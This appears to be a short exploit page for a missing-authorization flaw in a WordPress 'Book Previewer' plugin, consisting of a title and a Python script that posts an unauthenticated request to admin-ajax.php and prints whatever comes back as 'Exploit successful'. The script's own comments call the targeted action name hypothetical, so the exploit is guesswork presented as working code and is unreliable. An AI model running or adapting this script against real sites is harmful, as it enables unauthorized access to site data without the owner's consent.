CVE-2026-39668: Book Previewer权限缺失漏洞

import requests # Target URL configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Vulnerable action parameter (Hypothetical based on plugin structure) # The specific action name needs to be extracted from the plugin source code payload = { "action": "book_previewer_get_data", "book_id": "1" } try: # Send POST request without authentication response = requests.post(target_url, data=payload) # Check if exploitation was successful (status code 200 and expected content) if response.status_code == 200: print("[+] Exploit successful! Response received:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"Error: {e}")